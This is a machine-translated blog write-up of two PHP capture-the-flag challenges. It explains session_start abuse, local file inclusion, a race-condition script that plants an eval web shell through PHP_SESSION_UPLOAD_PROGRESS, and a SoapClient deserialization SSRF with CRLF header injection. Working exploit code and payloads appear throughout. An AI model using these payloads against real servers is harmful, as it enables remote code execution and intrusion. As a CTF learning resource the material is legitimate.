session_start()&bestphp 考查session_start&soap ssrf

0x01 bestphp1

This question first source code posted

<html>
		<head>
			<title>BabyPHP</title>
			<meta charset='UTF-8'>
		</head>
		<body>
			<form action='#' method='post'>
				Please input your name:<input type='text' name='name' />
				<input type='submit' value='submit' />
			</form>
		</body>
</html>
<?php
	session_start();
	highlight_file(__FILE__);
	ini_set('open_basedir', '/www/admin/localhost_80/wwwroot:/tmp');
	$file = 'function.php';
	$func = isset($_GET['function'])?$_GET['function']:'filters';
	call_user_func($func, $_GET);
	include($file);
	$_SESSION['name']=$_POST['name'];

	if($_SESSION['name']=='admin'){

		header('location:admin.php');

	}
?>

We analyze the topic down, opened the first of session_start
which has a call_user_funccorrelation functions can be performed, and the two parameters we can control, then there is a file that contains, here we first thought is to extract the variables covered, then we want to include to file a ~ ~

We read about functinon.php down and admin.php mentioned in

http://127.0.0.1/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php

Decoded admin.php

hello admin
<?php
if (empty($_SESSION['name'])) {
		session_start();
}else{
	die('you must login with admin');
}

Then read function.php

<?php
function filters($data){
	foreach ($data as $key => $value) {	if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i', $value)){
			die('Do not hack me!');
		}
	}
}

Two php files actually did not have much effect


answer

As the title there and session files contain so our first thought is that session + LFI, and the title will be our name written into the session parameters

But now the problem is we do not know the saved session file location, which is the main trouble, we see session_start relevant parameters,
Here Insert Picture DescriptionHere Insert Picture Descriptiondue to a prior call_user_func, so we can re-specify the location to save the session, the topic specified open_basedirin the root under the directory and the / tmp directory, then we directly session saved in the / tmp directory on the line ~

?function=session_start&save_path=/tmp

payload1:

curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp

Here to explain <?=phpinfo;?>, this is equivalent to<?php echo phpinfo();?>

Then we included directly on the line

?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7

Here Insert Picture DescriptionThe next step is to read the flag borrowed like, I do not demonstrate


payload2:

Because here there is a nameparameter that allows us to write malicious parameters into account, the assumption here that there is no nameargument it?
We can use PHP_SESSION_UPLOAD_PROGRESS+LFIconditions to compete for binding to getshell

Posted exp

#!coding:utf-8

import requests
import time
import threading
host = 'http://192.168.130.129'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'                                                                                        #随便填入的PHPSESSID
def creatSession():
    while True:
        files={'file': ('tgao.txt','f')}                
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : """<?php $c=fopen('/tmp/shell.php','w');fwrite($c,'<?php eval($_POST["f"]);?>');?>""" }                    #修改要写入的内容
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host+'/lfi.php',files = files,headers = headers,data=data)         #这儿的host只需要一个能打开的url就行

fileName = "/tmp/sess_"+PHPSESSID       #前提是必须知道session的储存路径

if __name__ == '__main__':

    url = "{}?function=extract&file={}".format(host,fileName)                 #修改文件包含的地方
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if 'tgao.txt' in res.text:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

Then we include this shell.php on the line ~

http://127.0.0.1/?function=extract&file=/tmp/shell.php

Here to tell you my little accident, I uploaded again under shell.php / tmp, but I went inside to find the directory, life and death can not be found, and later discovered the problem, due to the local environment here is used phpstudy, and phpstudy in the docker inside, so this file is not in accordance with php specific directory, but docker inside ~ ~


0x02 bestphp’s revenge

First posted topics Code ~ ~
index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } 
only localhost can get flag!

Obviously a ssrf topic ~ ~ how do we construct 127.0.0.1 access flag.php, then the flag written into the session? We think direct soapclient, then we deserialize it, and where to call where this soapclient it? We look at the subject,
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}

Here's what we want to be written into the session, and the question head and opened the session, but also call_user_func, then it is obvious that we can control the anti-serialization of session

/?f=session_start

serialize_handler=php

We then upload the code sequence of soapclient by the name parameter. Then automatically deserialized our session, so they can get a soapclient class ~ ~
How do we call this class do? We know that this magic __call function, when a method call is triggered __call inaccessible, we look at the subject,

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

Why there is an array, and the second is a string, we know `reset ($ _ SESSION)` is to specify a value for the first session, but after our first value is deserialized get soaplient class, so this character soapclient string equivalent method that does not exist, then how can we call this one? Here are a call_user_func, then the answer is quite clear, we covered through variable control \ $ b is call_user_func, then you can let soapclient call ` 'welcome_to_the_lctf2018'`, and then call __call, then visit /flag.php, the flag written soapclient in session

~~ configuration code posted soapclient

<?php 
$target = 'http://127.0.0.1/flag.php'; 
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=majian; PHPSESSID=fuck0' );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab")); 
$aaa = serialize($b); 
$aaa = str_replace('^^',"\r\n",$aaa); 
$aaa = str_replace('&','&',$aaa); 
echo urlencode($aaa); 
?>

payload

Here Insert Picture DescriptionThis step is to change the stored session is serialized manner, and written into the sequence of the session ~ soaplient
Here Insert Picture Descriptionthis step is covered with a variable, and then call the method soapclient does not exist, the function in turn calls the __call magic, so SSRF, the soapclient flag written into the session, the last session to change what you can see the flag of the ~ ~
Here Insert Picture Description

Published 47 original articles · won praise 2 · Views 3119

Guess you like

Origin blog.csdn.net/a3320315/article/details/104039961